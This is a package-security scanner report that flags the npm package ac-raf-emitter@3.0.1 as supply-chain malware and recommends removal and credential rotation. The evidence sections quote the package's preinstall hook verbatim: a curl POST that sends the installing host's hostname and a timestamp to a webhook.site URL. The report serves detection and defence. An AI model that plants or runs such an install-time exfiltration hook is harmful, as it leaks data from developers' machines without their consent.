registry / Data exfiltration / ac-raf-emitter
ac-raf-emitter
Softwaer supply chain attack vector
This report shows the evidence for ac-raf-emitter@3.0.1, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect inspection confirms concrete install-time network exfiltration of host metadata, with no package source implementation present. This is malicious supply-chain behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
npm install, before package installation completes
Impact
Unconsented disclosure of installation-host metadata to a third party.
Mechanism
preinstall curl POST exfiltrates hostname and timestamp
Attack narrative
`package.json` executes a `preinstall` command automatically when npm installs this package. The command POSTs to a third-party webhook URL and includes `$(hostname)` plus the current timestamp as a query parameter, creating unconsented install-host telemetry. The manifest is the only package file and its declared runtime entrypoint does not exist, so the package provides no apparent legitimate implementation that would justify the lifecycle network call.
AI rationale
Direct inspection confirms concrete install-time network exfiltration of host metadata, with no package source implementation present. This is malicious supply-chain behavior.
Evidence
package.json
Network endpoints1
webhook.site/54919426-084d-4288-8f80-e36ae5c76e32
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` defines a `preinstall` lifecycle hook.
- The hook runs `curl -X POST` to `webhook.site` during installation.
- It embeds the installing host's hostname and a timestamp in the request URL.
- The package description explicitly says “Softwaer supply chain attack vector”.
- Declared `index.js` entrypoint is absent; package contains only `package.json`.
Evidence against
Behavioral surface
NoLicense
Source & flagged code
2 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = curl -X POST "https://webhook.site/54919426-084d-4288-8f80-e36ae5c76e32?id=$(hostname)-$(date +%s)"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = curl -X POST "https://webhook.site/54919426-084d-4288-8f80-e36ae5c76e32?id=$(hostname)-$(date +%s)"
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgFindings
1 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
LowNo License
Affected versions and remediation
This report applies to ac-raf-emitter@3.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing ac-raf-emitter@3.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.